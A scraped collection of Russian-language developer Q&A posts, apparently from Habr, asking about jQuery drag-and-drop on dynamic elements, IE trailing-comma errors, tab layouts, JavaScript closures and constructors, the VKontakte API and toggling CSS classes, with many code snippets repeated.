$('body').append('<div id="newblock">Новый элемент</div>');
$('#newblock').draggable();
«Новый элемент» не будет обладать возможностью drag'n'drop. Как сделать тут что-то типо аналога функции .live(), чтобы динамически созданные элементы тоже реагировали на эти методы?
$('body').append('<div id="newblock">Новый элемент</div>');
$('#newblock').draggable();
Как масштабировать шрифт, чтобы он занял собой блок целиком?
Успех на Хабре лёгкого стартапа Ты — супер подвиг меня воскресным вечером покопать в направлении своего улучшателя настроения (пользователи IE извините).
Он работает только в разрешении 1280x1024, и для вычисления размера шрифта используется магический код centered.style.fontSize = (900 - 3 * message.length) + '%';. При этом всё равно проблемы, если кто-то пользуется + "+".
А как бы сделать, чтобы размер шрифта подбирался, чтобы заполнить div? Может можно его адаптивно увеличивать и как-то вычислять размер получающегося блока?
Upd. Пришлось самой разбираться. По ссылке всё работает…
Лишняя запятая в JS
Возник спор по поводу ошибки, возникающей в IE, если встречается лишняя запятая в коде.
Ситуация простая:
items: [
{xtype: 'textfield', cls: 'fake-field', value: 'Manager Login'},
new Ext.form.TextField(Ext.applyIf({fieldLabel: 'Username', name: 'login', allowBlank:false}, fieldConfig)),
this.passwordField,
this.passwordConfirmField,
new Ext.form.Hidden({name: 'companyId'}),
]
Если последнюю запятую не убрать — IE не отрабатывает скрипт. Все остальные браузеры отработают на ура.
Вопрос: Кто прав? Кодер и его запятая (вместе со всеми браузерами) или же IE (который не хочет обрабатывать явный промах программиста).
{xtype: 'textfield', cls: 'fake-field', value: 'Manager Login'},
new Ext.form.TextField(Ext.applyIf({fieldLabel: 'Username', name: 'login', allowBlank:false}, fieldConfig)),
this.passwordField,
this.passwordConfirmField,
new Ext.form.Hidden({name: 'companyId'}),
]
[jQuery UI tabs + layout] layout внутри таба на весь экран... как?
Доброго времени суток… Пытаюсь сделать, чтобы внутри одного из табов был сплиттер таким вот образом:
<link type="text/css" rel="stylesheet" href="css/smoothness/jquery-ui-1.8.4.custom.css"/>
<link type="text/css" rel="stylesheet" href="css/jquery-layout.css"/>
<script type="text/javascript" src="js/jquery-1.4.2.min.js"/>
<script type="text/javascript" src="js/jquery-ui-1.8.4.custom.min.js"/>
<script type="text/javascript" src="js/jquery-layout.js"/>
"Content-Type" content="text/html; charset=UTF-8">
ii
<script type="text/javascript">
$(function() {
$("#tabs").tabs();
});
</script>
"tabs">
- "#expertTab">Expert mode
"#userTab">User mode
<script type="text/javascript">
var expertLayout = null;
$(function() {
expertLayout = $("#expertTab").layout({
resizable: true,
closeable: false
});
});
</script>
<div id="expertTab">
<div id="layout1" class="ui-layout-west">
asdf
</div>
<div id="layout2" class="ui-layout-center">
fdsa
</div>
</div>
<div id="userTab"></div>
</div>
</body>
</html>
* This source code was highlighted with Source Code Highlighter.
и получаю вот это:
.
Как можно сделать, чтобы табы вместе со своим содержимым были во всю высоту окна браузера?
<link type="text/css" rel="stylesheet" href="css/smoothness/jquery-ui-1.8.4.custom.css"/>
<link type="text/css" rel="stylesheet" href="css/jquery-layout.css"/>
<script type="text/javascript" src="js/jquery-1.4.2.min.js"/>
<script type="text/javascript" src="js/jquery-ui-1.8.4.custom.min.js"/>
<script type="text/javascript" src="js/jquery-layout.js"/>
"Content-Type" content="text/html; charset=UTF-8">
ii
<script type="text/javascript">
$(function() {
$("#tabs").tabs();
});
</script>
"tabs">
- "#expertTab">Expert mode
"#userTab">User mode
<script type="text/javascript">
var expertLayout = null;
$(function() {
expertLayout = $("#expertTab").layout({
resizable: true,
closeable: false
});
});
</script>
<div id="expertTab">
<div id="layout1" class="ui-layout-west">
asdf
</div>
<div id="layout2" class="ui-layout-center">
fdsa
</div>
</div>
<div id="userTab"></div>
</div>
</body>
</html>
* This source code was highlighted with Source Code Highlighter.
Существует ли в природе form-builder (PHP) + validator (client+server) в одном флаконе?
Существует ли гибкий form-builder (PHP), позволяющий одновременно назначать правила для серверной и клиентской валидации?
Собственно вопрос о том, чтобы не повторять одну и ту же работу два раза, в частности на хабре уже была попытка осмысления этой проблемы и предложен один из выходов (вернее его прообраз) и как там правильно заметили:
основная мысль — генерация клиентской валидации на сервере
Например, для клиентской валидации и построения всяких вкусностей типа повторяющиеся блоки (к примеру zforms.ru/docs/repeatable-model/) есть красивые решения типа zforms.ru/ от разработчика интерфейсов компании Яндекс Дмитрия Филатова
Да и просто, для валидации полно плагинов с использованием jQuery.
В конце концов есть Vanadium: семантическая валидация на клиенте
Для построения форм и серверной валидации есть замечательная библиотека Алексея Борзова и, как поправил меня сам Алексей, — Bertrand Mansion: HTML_QuickForm2.
Есть первая версия HTML_QuickForm, которая позволяет делать то, что требуется, т.е. строить формы и на основании запрашиваемых правил серверной валидации на лету генерировать правила клиентской валидации, но у нее есть огромный минус — невозможность простыми способами строить сложные формы, т.е. когда требуется например группу полей добавлять в группу, зато ей очень хорошо удаются плоские формы.
Дмитрий Филатов на мой вопрос есть ли обертка для построения таких форм ответил мне в МоёмКруге:
Есть не обертка на PHP, а xml-описание правил валидации, из которого строится с помощью xsl клиентский код и которое может быть использовано для серверной валидации.
Алексей Борзов на вопрос о дальнейшей судьбе HTML_QuickForm2 ответил:
HTML_QuickForm2 в альфе потому, что опять же недописана функциональность (а именно интеграция с жаваскриптом). Но в отличие от старой версии он почти на 100% покрыт тестами и по стабильности явно не хуже...
Другими словами, есть дикое желание подружить HTML_QuickForm2 и zforms.ru, но перед этим хотел бы поинтересоваться у «ленивых программистов», как они борются с ленью при построении форм и двойной работой по проверке вводимых данных?
update: вопрос решил путем запуска проекта jquickform.ru/
Где хранятся локальные переменные в javascript?
Я знаю, что когда в javascript создается глобальная переменная, то она становится свойством объекта window и к ней через него соответственно можно обратиться: window.var. Я никак не могу понять, свойствами чего становятся локальные переменные, объявленные в теле функции? Где они хранятся и как к ним получить доступ?
Контроль состояния прозрачности JavaScript
Доброе утро, хабр!
Задача, что стоит передо мной проста и стара как мир — анимационная смена одной картинки другой при наведении мышки. Картинки имеют одинаковые размеры, одна — просто кнопка, другая — кнопка со «свечением»(hover state), кнопки абсолютно позиционированны и находятся «друг в друге». В примитиве задача решается такими строками кода на jQuery:
$('div#left ul li').css({opacity: 0.0});
$('div#left ul li:first').css({opacity: 1.0});
$("div#left li").mouseover(function () {
$('div#left ul li:first').animate({opacity: 0.0}, 1000);
$('div#left ul li:last').animate({opacity: 1.0}, 1000);
});
$("div#left li").mouseout(function () {
$('div#left ul li:first').animate({opacity: 1.0}, 1000);
$('div#left ul li:last').animate({opacity: 0.0}, 1000);
});
Но у данного подхода есть 1 большая проблема — события вызываются и ставятся в очередь вне зависимости от текущего состояния элемента, то есть несколько наведений мышки на элемент вызывают «перемигивание» элемента. Вопрос состоит в том, как отследить текущее состояние элемента и тем самым не включать его обработку, если в данный момент прозрачность картинки изменяется?
$('div#left ul li:first').css({opacity: 1.0});
$("div#left li").mouseover(function () {
$('div#left ul li:first').animate({opacity: 0.0}, 1000);
$('div#left ul li:last').animate({opacity: 1.0}, 1000);
});
$("div#left li").mouseout(function () {
$('div#left ul li:first').animate({opacity: 1.0}, 1000);
$('div#left ul li:last').animate({opacity: 0.0}, 1000);
});
Подскажите хороший html5 аудиоплеер
Хотел реализовать для своего сайта воспроизведение аудио без флеша, но хорошего инструмента работающего с плейлистами и имеющего достаточное большое колличество настроек не нашел.
Нужно что-то напоминающее prostopleer и www.plusmusica.com/
Chrome заблокировал JS для localhost
Собственно, ситуация такая — если я правильно понял, произошло это после того, как в JS-коде я случайно устроил замкнутый цикл по невнимательности. Chrome грузил страничку меньше пары секунд, сразу выдал сообщение о бесконечном редиректе. После устранения бага попытался вновь загрузить страницу и… Оказалось, что Chrome заблокировал исполнение JS на этой странице (localhost). Вот такой значок появился справа в адресной строке:

При нажатии появляется такое меню:

Но во всех настрйках (включая это самое меню) стоит «разрешить JS».
При перезагрузке Chrome можно наблюдать такое уведомление: скрин
При этом содержимое JS-файла абсолютно неважно, хоть полноценное приложение, хоть 1 строка alert(1);
Кто с таким сталкивался? Что это такое?
P.S.: в других браузерах все ок.
Как сохранить HTML-страницу сгенерированную на JavaScript?
Встречаются страницы, на которых есть динамические части получаемые Ajax или попросту какими-то функция Javascript (например, шаблонизаторами).
Так вот как сохранить скомпилированную страницу, т.е. со всеми выполненными js-функциями? В случае с Ajax скачивание может происходить через некоторое время после загрузки DOM-модели.
Решение желательно на ЯВУ (лучше C#) или через консоль Windows/Linux.
Например, нужно скачать вот эту forexite: Календарь на неделю.
jQuery — выбрать элементы только с определенным набором классов
Возможно глупый вопрос, но я что-то не могу разобраться.
Есть 3 блока с классом .one и один блок с классом .one и .two
Как мне в jQuery выбрать только элемент у которого есть оба класса .one и .two?
Ищем Open Source Orphus
Хочется скрипт для рецензирования статей в Блоггере по аналогии с Orphus и сайтом Леонида Каганова. Чтобы такой скрипт легко встраивался в любой сайт, желательно, чтобы он был на чистом javascript.
Результаты проверки хорошо бы записывать в комментарии к записи, отправлять GET запросом на другой сайт, помещать в Google forms или ещё куда-нибудь. Если записывать замечания в комментарии, то можно потом подрисовывать эти комментарии прямо на том месте, к которому они относятся.
От какого хорошего свободного инструмента оттолкнуться? Получилось найти только плагин для Joomla joomlaforum.ru/index.php/topic%2c12663.0/topicseen.html
Может есть какой-то плагин к jquery? Как-то такая-же функциональность работает на сайте госуслуг?
www.gosuslugi.ru/ru/: Если вы обнаружили неточности в опубликованной информации, просьба оперативно сообщить об этом оператору портала. Выделите некорректный текст и нажмите клавиши CTRL+ENTER. Сведения об ошибках будут оперативно переданы в ведомство, разместившее информацию.
Есть ли люди на Хабре, разбирающиеся в document.on<событие> и в bloggerService.insertEntry, чтобы самим написать подобную библиотеку?
Много материалов по теме можно найти по ссылкам, но как-то мне это особенно не помогло
habrahabr.ru/search/?q=orphus
www.google.ru/search?q=%22ctrl%2Benter%22
Необычное использование побитового XOR в Javascript?
Привет.
Отлаживая недавно очередной кусок чужого кода наткнулся на такой цикл:
while (--i ^ -1) /* тело цикла */;
при этом, изначально i равно некоторому положительному числу. То есть, побитовый оператор используется здесь для целых чисел. Немного подумав, я понял, что результат побитового XOR обратится в нуль единственно в случае, когда числа равны. Тогда условие кастуется в true. В противном случае, будет не-ноль, что кастуется в false.
Получается, можно использовать побитовый XOR вместо оператора != (если мы заранее знаем, что сравниваемые величины суть числа).
Отсюда у меня возник вопрос, который я хочу поставить перед аудиторией.
Почему автор использует XOR?
Вчера весь вечер я размышлял над этим и наиболее правдоподобной причиной мне показалось желание написать «крутой непонятный код». Сразу вспомнилось, как я, когда начинал постигать азы программирования, вдруг обнаружил, что могу писать «лаконичный код, который сложен для понимания и который работает». Мне казалось, что это свидетельствует о каких-то скиллах. На самом деле, понятно, что это свидетельствует об обратном. В пользу этой гипотезы было ещё то, что весь остальной код в окрестности приведённого фрагмента был написан подобным образом.
Правда, мне не давала покоя ещё одна мысль. Я представил себе, что если бы я хотел усложнить код, мне бы почему-то не пришло в голову использовать XOR, даже если бы я и знал о такой возможности.
В результате (безуспешно пытаясь заснуть на протяжение двух часов :) ), я встал, подошёл к компу и написал скриптик, который делал много сравнений тем и иным способом и мерял время.
Оказалось, что если использовать побитовый XOR вместо !=, появляется прирост в производительности (по крайней мере на Firefox), этот прирост стабильный (то есть он есть всегда, то больше, то меньше), но составляет всего лишь около 1%.
Может быть, есть ещё какие-нибудь особенности, дающие преимущество побитовому XOR?
AJAX запрос в jQuery. Как избавится от заголовка Access-Control-Request-Headers?
Здравствуйте. Надо при помощи javascript'а вытянуть данные из xml-файла генерирующегося на удалённом сервере. Всё до чего смог додуматься — сделать ajax запрос к xml-файлу.
Но jQuery вместо GET-запроса отправляет OPTIONS-запрос.
Оказалось, что этот запрос отсылается Firefox'ом в случае cross-domain request, когда отправляются нестандартные заголовки. В случае с jQuery это кажется:
Access-Control-Request-Headers: x-requested-with
Как избавиться от этого заголовка? Или может есть другие способы вытянуть информацию из xml?
JavaScript, фреймворки и парадигмы?
Посоветуйте Javascript framework для разработки интерфейса администрирования со сложными формами. Работающий прототип я сделал с использованием jQuery и десятка плагинов (tabs, drag&drop, ajax file upload, data link, mousewheel, hotkeys...). Но сейчас нужно дополнить интерфейс всеми необходимыми полями, и я понимаю, что приходится копировать очень много кода, а идентификаторы полей разбросаны по всему скрипту. Нужна подходящая парадигма программирования. Думаю, ее может дать какой-то легкий framework.
Посмотрел DoJo. Там, конечно, есть все необходимое. Но у меня сейчас нет месяца на изучение этой системы. К тому же, у нашей системы администрирования такой дизайн, что не удастся использовать готовые визуальные компоненты, которые DoJo предоставляет. Поэтому весь смысл теряется. Примерно та же история и с YUI.
Нужен инструмент, который будет управлять взаимодействием готовых визуальных элементов (которые написаны с использованием большого количества jQuery и плагинов).
С сервера я получаю большой json, в котором разложены все необходимые данные редактируемого объекта. Еще есть несколько дополнительных json-объектов со значениями для всяких выпадающих списков и форм с автоподстановкой. Вернуть нужно json с такой же структурой. Внутри форм активно используется drag&drop. Никаких перезагрузок страницы не происходит.
Ссылки на примеры хороших интерфейсов тоже были бы полезны. Спасибо.
Логотип JavaScript
Существует ли официальный логотип Javascript? Где взять достойную иконку для обозначения JS?
Как бы собрать в табличку все блог-платформы?))
Хочется собрать список блог-платформ — мне кажется это интересно будет. может кто-то видел такие списки уже? Нужны не программные платформы, а именно сервисы, вроде: ЖЖ, Wordpress, BlogSpot.
Принцип отбора предлагаю установить один: текстовость. То есть есть Youtube можно тоже с натяжкой назвать блог-сервисом, но мультимедийным. А интересуют именно текстовые блоги, микроблоги, с социальными фичами и без, западные и наши.
Давайте соберем? Круто было бы указывать: платность/бесплатность, наличие русскогоязычного интерфейса.
1. Livejournal.com
2. Wordpress.com
3. Blogspot.com
4. Typepad.com
5. Blogger.com
6. Блоги@mail.ru (прости, господи)
7. Liveinternet.ru (прости-прости)
8. Twitter.com
9. insanejournal.com — почерпнуто из статьи на mashable — не знал, оказывается жж строился на открытой платформе Danga и этот вот инсейн тоже на ней и
10. journalfen.net — тоже на ней эти два, наверно, шутки ради… но все-таки.
11. Tumblr.com
12. vox.com — сдох, мир его праху
13. xanga.com — блогокоммюнити)) кто бы знал
Что еще?
Удобный трединг в Javascript?
Приветствую.
На самом деле, речь не совсем о трединге. Да, в Javascript «чистого» трединга вроде как нету, но есть ещё webworkers, это я знаю, а здесь я хочу поднять вопрос о другом. Для начала я уточню, что конкретно я буду подразумевать под «тредингом».
Типичная задача следующая. Есть некий код (для определённости, врапнутый в функцию myFunc) и я хочу запустить этот код неким вызовом, но при этом не дожидаясь завершения этого вызова перейти к следующей строке кода, откуда я этот вызов совершаю. Обычно эта задача решается примерно таким образом:
setTimeout( myFunc, 10 );
doSomethingElse();
где myFunc() содержит код, который я хочу выполнить «в треде», а doSomethingElse() содержит код, про который я хочу чтобы он начал выполняться, не дожидаясь завершения myFunc(). А если мне нужно вызвать функцию myFunc() как метод объекта — я могу заюзать замыкание и apply(), обернув это в ещё одну анонимную функцию.
Самое загадочное в таком подходе — второй аргумент функции setTimeout(). Почему я сказал ей выполнить код через 10 милисекунд, а не сразу — через 0? Люди пишут (комменты), что setTimeout(fn, 0) часто работает дольше, чем setTimeout(fn, 10). И там же предлагается ещё более быстрый способ «заказать» асинхронное выполнение функции «прямо сейчас», с использованием postMessage.
Я решил немного поэкспериментировать с приведённым там кодом и сделать его чуть более удобным. Идея состоит в том, что прототипу объекта типа Function добавляется новый метод thread(), который запускает эту функцию асинхронно и форвардит ей все аргументы. Получилось примерно так:
(function() {
var threads = [];
var messageName = "start-thread";
function thread(fn) {
threads.push(fn);
window.postMessage(messageName, "*");
}
function startThread(event) {
if (event.source == window &&
event.data == messageName) {
event.stopPropagation();
if (threads.length> 0) {
( threads.shift() )();
}
}
}
window.addEventListener("message", startThread, true);
Function.prototype.thread = function() {
var args = arguments;
var me = this;
thread(
function() {
me.apply( null, args );
}
);
}
})();
var doSomething = function(a, b) {
alert( a + b );
}
// вызываем doSomething() асинхронно:
doSomething.thread( 2, 3 );
В общем, это практически точная копия кода по ссылке, плюс новый метод thread объектам типа Function.
И теперь внимание вопрос. Для того, чтобы метод thread был действительно удобным, нужно иметь возможность использовать его для методов объектов. То есть, каким-то образом в функцию thread нужно «протащить» информацию об объекте, в контексте которого мы обратились к методу. Использование замыкания напрочь испортит всю элегантность. Хочется пользоваться этим методом примерно так:
myObject.myMethod.thread( arg1, arg2 );
и в результате такого вызова метод myMethod должен вызваться асинхронно в контексте объекта myObject, то есть должно произойти
myObject.myMethod.apply( myObject, [ arg1, arg2 ] );
Возможно ли это?
setTimeout( myFunc, 10 );
doSomethingElse();(function() {
var threads = [];
var messageName = "start-thread";
function thread(fn) {
threads.push(fn);
window.postMessage(messageName, "*");
}
function startThread(event) {
if (event.source == window &&
event.data == messageName) {
event.stopPropagation();
if (threads.length> 0) {
( threads.shift() )();
}
}
}
window.addEventListener("message", startThread, true);
Function.prototype.thread = function() {
var args = arguments;
var me = this;
thread(
function() {
me.apply( null, args );
}
);
}
})();
var doSomething = function(a, b) {
alert( a + b );
}
// вызываем doSomething() асинхронно:
doSomething.thread( 2, 3 );myObject.myMethod.apply( myObject, [ arg1, arg2 ] );
Отправка страницы на печать и .htc глюк.
Проблема в следующем: когда нажимаю на ссылку
PRINT
(сайт goo.gl/adi3)
в ИЕ7 выдается ошибка скрипта:
Ошибка: Arg illegal input string in Vector2D
URL: www.art-welly.com/assets/css/pie.htc
кто сталкивался с такой проблемой и как ее можно решить?
URL: www.art-welly.com/assets/css/pie.htc
Проблемы с созданием иерархического дерева на jQuery?
Пытаюсь сделать для одного из своих проектов «иерархическое дерево» (по сути аналог jQuery Treeview, jsTree и тому подобных плагинов), в котором также задействован функционал drag & drop. Для задействования возможности drag & drop использую jQuery UI. Всё вроде получается, но застопорился на одном моменте.
Лирическое отступление: да, я знаю что это по сути написание велосипеда, и что можно не париться и взять один из распространённых плагинов, но для меня важно научиться делать разные фишки на jQuery с drag & drop, потому что он ещё много где нужен будет в моём проекте.
Значит что имеем. Есть ненумерованный список <ul></ul> элементы которого представляют собой категории. У категорий могут быть подкатегории, а у тех, в свою очередь, свои подкатегории и т.д. Если у категории есть подкатегории, то слева от неё отображается иконка «плюсик», нажав на который, произойдёт запрос на сервер и в ответ мы получим необходимый список подкатегорий, который автоматически вставится в виде подсписка, т.е. вот так:
<ul>
<li class="categories close" id="cat1" rel="1">category A</li>
<li class="categories open" id="cat2" rel="2">category B</li>
<ul id="p2">
<li class="categories" id="cat4" rel="4">subcategory D</li>
<li class="categories" id="cat5" rel="5">subcategory E</li>
<li class="categories" id="cat6" rel="6">subcategory F</li>
</ul>
<li class="categories close" id="cat3" rel="3">category C</li>
</ul>
Лирическое отступление: да, я знаю что по правилам синтаксиса HTML подсписок <ul id=«p2»></ul> должен находится внутри родительского элемента <li></li>, но в таком случае вместе с категорией «category B» будет таскаться за курсором и весь подсписок подкатегорий, чего мы никак не хотим.
С помощью jQuery UI я делаю каждый элемент <li></li> «перетаскиваемым» (draggable), и одновременно «принимающим» (droppable).
Дальше я по задумке хочу сделать следующим образом: пользователь захватывает и начинает «таскать» категорию над списком других категорий; как только таскаемый им элемент оказывается над одной из категорий, происходит запрос на сервер, мы получаем и вставляем список подкатегорий. Делается это для того, чтобы облегчить жизнь пользователю: если пользователь хочет сделать категорию «category C» подразделом «subcategory F», то ему будет достаточно захватить «category C», задержать её над «category B» чтобы открылся список подкатегорий, после чего перетащить и отпустить над «subcategory F».
Всё вроде получается отлично, но есть одно НО, на котором я и застопорился: пользователь захватывает «category C» и держит её над «category B», тем самым заставляя открытся список подкатегорий; в момент появления списка подкатегорий, удерживаемый элемент «category C» уезжает вниз относительно курсора ровно на высоту всего подсписка категорий. Именно эту проблему мне не удаётся пока побороть.
Как я пытался решить эту проблему:
1) в момент вызова функции over (вызывается когда draggable-элемент находится над droppable-элементом и находится в состоянии готовности) пробовал запоминать позицию перетаскиваемого элемента в глобальных переменных вот так:
...
over:function(event,ui) {
_cury = ui.position.top;
_curx = ui.position.left;
...
}
...
после этого запрашивать список подкатегорий и уже после их вставки заново присваивать перетаскиваемому элементу координаты:
...
ui.position.top = _cury;
ui.position.left = _curx;
...
В итоге не сработало.
2) я подумал, что возможно в момент появления подсписка и соответственно «отпрыгивания» перетаскиваемого элемента, он уходит из состояния готовности и вызывается функция out. Тогда я просто перенёс задание запомненных координат в функцию out:
...
out:function(event,ui) {
ui.position.top = _cury;
ui.position.left = _curx;
...
}
...
Это тоже не сработало. Также пробовал использовать ui.offset вместо ui.position — тоже не помогло. Т.е. получение координат перетаскиваемого элемента происходит нормально, корректно. А вот попытка задать их обратно не приводит ни к каким результатам. Может кто подскажет решение?
Скачать полный код примера со всеми файлами и подробными комментариями.
Смотреть пример онлайн.
<ul>
<li class="categories close" id="cat1" rel="1">category A</li>
<li class="categories open" id="cat2" rel="2">category B</li>
<ul id="p2">
<li class="categories" id="cat4" rel="4">subcategory D</li>
<li class="categories" id="cat5" rel="5">subcategory E</li>
<li class="categories" id="cat6" rel="6">subcategory F</li>
</ul>
<li class="categories close" id="cat3" rel="3">category C</li>
</ul>...
over:function(event,ui) {
_cury = ui.position.top;
_curx = ui.position.left;
...
}
......
ui.position.top = _cury;
ui.position.left = _curx;
......
out:function(event,ui) {
ui.position.top = _cury;
ui.position.left = _curx;
...
}
...
JavaScript: объясните return в конструкторе
Объясните, пожалуйста, в чем разница между кодом:
var Test = (function () {
return (function () {
this.qqq = 'a';
});
})();
alert(new Test().qqq);
и
var Test = (function () {
return (function () {
return ({ qqq : 'a' });
});
})();
alert(new Test().qqq);
В обоих вариантах выводится «а». Почему в первом случае — понятно. Первая функция создает замыкание, в которое можно поместить «статические» переменные. Вторая — собственно конструктор и в конструкторе задается объект. Но почему во втором?
Спасибо.
return (function () {
this.qqq = 'a';
});
})();
alert(new Test().qqq);
return (function () {
return ({ qqq : 'a' });
});
})();
alert(new Test().qqq);
Как заставить браузер не кешировать JavaScript?
Существует ли какой-то действенный способ заставить браузер не кешировать конкретный Javascript файл? Желательно чтобы этот способ работал в Firefox, Opera и Chrome (IE особо не интересует).
Оставлять логику PHP или отдавать JavaScript'у?
Пишу тизерную сеть и немного мучаюсь в сомнениях:
на рекламной площадке размещается код типа <script type=«text/javascript» src=«someurl.com/site_id/block_id»></script>
который, разумеется, подгружает уже полный JS-код для генерации тизерного блока.
Вот я и думаю — передавать клиенту уже отрендеренный блок (логика в php), или отдавать только данные блока в, например, JSON-формате, а рендерить его средствами JS (логика в JS)?
Vkontakte open api и проблема с правами?
Никак не могу разобраться как выставить права приложению. Вроде бы все просто:
Подключаем в хедере
<script src="http://vk.antizapret.ru/js/api/xd_connection.js?2" type="text/javascript"></script><br/>
<script src="http://vkontakte.ru/js/api/openapi.js" type="text/javascript"></script><br/>
Далее пишем в body
<script type="text/javascript"><br/>
<br/>
VK.init({<br/>
apiId: my_id<br/>
});<br/>
<br/>
VK.UI.button('login_button');<br/>
<br/>
VK.callMethod('showInstallBox',0);<br/>
</script><br/>
<br/>
Авторизация проходит нормально, все апи через VK.api выполняются нормально, но как только хочу вызвать showInstallBox появляется ошибка
TypeError: Result of expression 'options' [undefined] is not an object. vkontakte.ru/js/api/openapi.js:317
Так же пробовал вызывать по onClick, после полной загрузки страницы, то же самое.
Что я делаю не так? Может что-то не подключил? Может не так вызываю?
Заранее благодарю.
<script src="http://vk.antizapret.ru/js/api/xd_connection.js?2" type="text/javascript"></script><br/>
<script src="http://vkontakte.ru/js/api/openapi.js" type="text/javascript"></script><br/><script type="text/javascript"><br/>
<br/>
VK.init({<br/>
apiId: my_id<br/>
});<br/>
<br/>
VK.UI.button('login_button');<br/>
<br/>
VK.callMethod('showInstallBox',0);<br/>
</script><br/>
<br/>TypeError: Result of expression 'options' [undefined] is not an object. vkontakte.ru/js/api/openapi.js:317
Что означает контрукция типа “(function(d){ ... })(document)”
Неоднократно встречал подобную контструкцию:
(function (d) {
// Какой-то код
})(document);
Мне понятно, что данном коде используется замыкание, но не понятно зачем в качестве аргумента замкнутой функции передаёться объект Document.
Вот конкретный пример — маленькая Javascript утилита, которая далает так, чтобы в IE можно было задавать стили HTML5 элементам (таким как section, header, article и прочие; по умолчанию стили для этих элементов в IE будут игнорироваться). В этом скрипте используется следующая конструкция:
(function (p, e) {
// Какой-то код
})(this, document);
В этом примере помимо аргумента document ещё в добавок передаётся аргумент this, в котором, как я понимаю, хранится объект Window. Кто может мне подсказать зачем замкнутым функциям передавать в качастве аргуметов Document и Window?
// Какой-то код
})(document);
// Какой-то код
})(this, document);
Материалы по работе с JS в IE
Доброго дня!
Подскажите, пожалуйста, может есть книга какая, или ресурс, где была бы собрана воедино вся информация (ну вернее как можно больше) по написанию кроссбраузерного JS. А то все, что нахожу, как бы гордо себя ни позиционировало — обычно очередной копипаст одних и тех же «трюков». Причем интересуют материалы не по JS в целом, а именно те материалы, где рассказывается, как в IE делать нельзя, а как делать можно только в IE :)
Где найти стандарт работы getElementById?
В общем вопрос простой. Почему, при добавлении в документ 2х элементов с одним id, берется первый элемент, а не второй?
PS Понимаю что за это надо руки отрывать, но всё-же…
<font color="black"><font color="#0000ff"><</font><font color="#800000">html</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">head</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">title</font><font color="#0000ff">></</font><font color="#800000">title</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">script</font> <font color="#ff0000">type</font><font color="#0000ff">="text/javascript"</font><font color="#0000ff">></font><br/>
<font color="#0000ff">function</font> ondivclick() {<br/>
<font color="#0000ff">document</font>.getElementById(<font color="#A31515">"place"</font>).innerHTML += <font color="#A31515">"1"</font>;<br/>
<font color="#0000ff">document</font>.getElementById(<font color="#A31515">"place"</font>).innerHTML += <font color="#A31515">"2"</font>;<br/>
alert(<font color="#0000ff">document</font>.getElementById(<font color="#A31515">"divid"</font>).innerHTML); <font color="#008000">// тут на всех браузерах будет 1</font><br/>
}<br/>
<font color="#0000ff"></</font><font color="#800000">script</font><font color="#0000ff">></font><br/>
<font color="#0000ff"></</font><font color="#800000">head</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">body</font><font color="#0000ff">></font> <br/>
<font color="#0000ff"><</font><font color="#800000">a</font> <font color="#ff0000">href</font><font color="#0000ff">="#"</font> <font color="#ff0000">onclick</font><font color="#0000ff">="ondivclick()"</font><font color="#0000ff">></font>Go!<font color="#0000ff"></</font><font color="#800000">a</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">div</font> <font color="#ff0000">id</font><font color="#0000ff">="place"</font><font color="#0000ff">></</font><font color="#800000">div</font><font color="#0000ff">></font><br/>
<font color="#0000ff"></</font><font color="#800000">body</font><font color="#0000ff">></font><br/>
<font color="#0000ff"></</font><font color="#800000">html</font><font color="#0000ff">></font></font><br/>
<br/>
<font color="gray">* This source code was highlighted with <a href="http://virtser.net/blog/post/source-code-highlighter.aspx"><font color="gray">Source Code Highlighter</font></a>.</font>
<font color="black"><font color="#0000ff"><</font><font color="#800000">html</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">head</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">title</font><font color="#0000ff">></</font><font color="#800000">title</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">script</font> <font color="#ff0000">type</font><font color="#0000ff">="text/javascript"</font><font color="#0000ff">></font><br/>
<font color="#0000ff">function</font> ondivclick() {<br/>
<font color="#0000ff">document</font>.getElementById(<font color="#A31515">"place"</font>).innerHTML += <font color="#A31515">"1"</font>;<br/>
<font color="#0000ff">document</font>.getElementById(<font color="#A31515">"place"</font>).innerHTML += <font color="#A31515">"2"</font>;<br/>
alert(<font color="#0000ff">document</font>.getElementById(<font color="#A31515">"divid"</font>).innerHTML); <font color="#008000">// тут на всех браузерах будет 1</font><br/>
}<br/>
<font color="#0000ff"></</font><font color="#800000">script</font><font color="#0000ff">></font><br/>
<font color="#0000ff"></</font><font color="#800000">head</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">body</font><font color="#0000ff">></font> <br/>
<font color="#0000ff"><</font><font color="#800000">a</font> <font color="#ff0000">href</font><font color="#0000ff">="#"</font> <font color="#ff0000">onclick</font><font color="#0000ff">="ondivclick()"</font><font color="#0000ff">></font>Go!<font color="#0000ff"></</font><font color="#800000">a</font><font color="#0000ff">></font><br/>
<font color="#0000ff"><</font><font color="#800000">div</font> <font color="#ff0000">id</font><font color="#0000ff">="place"</font><font color="#0000ff">></</font><font color="#800000">div</font><font color="#0000ff">></font><br/>
<font color="#0000ff"></</font><font color="#800000">body</font><font color="#0000ff">></font><br/>
<font color="#0000ff"></</font><font color="#800000">html</font><font color="#0000ff">></font></font><br/>
<br/>
<font color="gray">* This source code was highlighted with <a href="http://virtser.net/blog/post/source-code-highlighter.aspx"><font color="gray">Source Code Highlighter</font></a>.</font>
Изменение стиля при помощи javascript
Кто может подсказать как решить задачку
есть 5 блоков div у каждого свой id и стиль b-img
<div id="1" class="b-img" onclick="kodimg(id)">...</div>
<div id="2" class="b-img" onclick="kodimg(id)">...</div>
<div id="3" class="b-img" onclick="kodimg(id)">...</div>
<div id="4" class="b-img" onclick="kodimg(id)">...</div>
<div id="5" class="b-img" onclick="kodimg(id)">...</div>
при клике по нему ява скрипт меняет ему стиль на v-img
вот такой функцией
function kodimg(id)
{
document.getElementById(id).className = 'v-img';
}
проблема в том, что у предыдущего нажатого div стиль остается v-img, а нужно чтоб он снова стал b-img
Как такое можно сделать?
<div id="1" class="b-img" onclick="kodimg(id)">...</div>
<div id="2" class="b-img" onclick="kodimg(id)">...</div>
<div id="3" class="b-img" onclick="kodimg(id)">...</div>
